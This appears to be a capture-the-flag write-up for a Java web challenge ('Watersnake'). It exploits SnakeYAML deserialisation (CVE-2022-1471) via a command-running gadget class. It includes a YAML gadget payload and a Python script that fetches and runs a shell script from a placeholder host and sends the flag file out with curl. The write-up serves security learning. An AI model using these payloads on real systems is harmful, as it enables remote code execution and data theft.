Pierre Gaulon

Pierre Gaulon Github pages

View on GitHub

[Web] Watersnake

This webapp is written in Java. It allows a user to define a firmware to be updated via a yaml configuration.

There is 1 vulnerability to exploit: the yaml is deserialised from the user input. The library reading it is org.yaml.snakeyaml.Yaml, which is vulnerable to CVE-2022-1471: any class can be deserialized.

	@PostMapping("/update")
	public String update(@RequestParam(name = "config") String updateConfig) {
       	InputStream is = new ByteArrayInputStream(updateConfig.getBytes());
       	Yaml yaml = new Yaml();
	    Map<String, Object> obj = yaml.load(is);
		obj.forEach((key, value) -> System.out.println(key + ":" + value));
		return "Config queued for firmware update";
	}

In order to exploit it, we need to use a class present in the classpath. Fortunately the class GetWaterLevel allows to run system calls

public class GetWaterLevel {
    public static String readFromSensor(String value) throws IOException {
        ProcessBuilder processBuilder = new ProcessBuilder(value.split("\\s+"));
        Process process = processBuilder.start();
        InputStream inputStream = process.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
        StringBuilder output = new StringBuilder();
        String line;
        while ((line = reader.readLine()) != null) {
            output.append(line).append("\n");
        }
        try {
            int exitCode = process.waitFor();
            if (exitCode != 0) {
                throw new IOException("[-] Command execution failed with exit code " + exitCode);
            }
        } catch (InterruptedException e) {
            Thread.currentThread().interrupt();
            throw new IOException("[-] Command execution interrupted", e);
        }
        return output.toString();
    }
    public void initiateSensor(String value) {
        try {
			readFromSensor(value);
		} catch (IOException e) {
			System.out.println(e.getMessage());
		}
    }
    public GetWaterLevel(String value) {
        initiateSensor(value);
   }

Hence we can run code with something like:

!!com.lean.watersnake.GetWaterLevel ["curl http://1.2.3.4:4444/"]

Final exploit is:

from requests import post

lol_sh = """
aaa=$(cat /flag.txt)
curl http://1.2.3.4:4444/aaa=$aaa
"""

endpoint = "http://94.237.55.114:50060"
update_path = "/update"
exploit1 = 'curl -o /tmp/lol.sh http://1.2.3.4:4444/lol.sh'
exploit2 = 'sh /tmp/lol.sh'
payload = {
    "config": '!!com.lean.watersnake.GetWaterLevel ["{}"]'.format(exploit1)
}
response = post(endpoint + update_path, data=payload)
payload = {
    "config": '!!com.lean.watersnake.GetWaterLevel ["{}"]'.format(exploit2)
}
response = post(endpoint + update_path, data=payload)

From the listener on 1.2.3.4:4444, we receive the callback containing the flag.

flag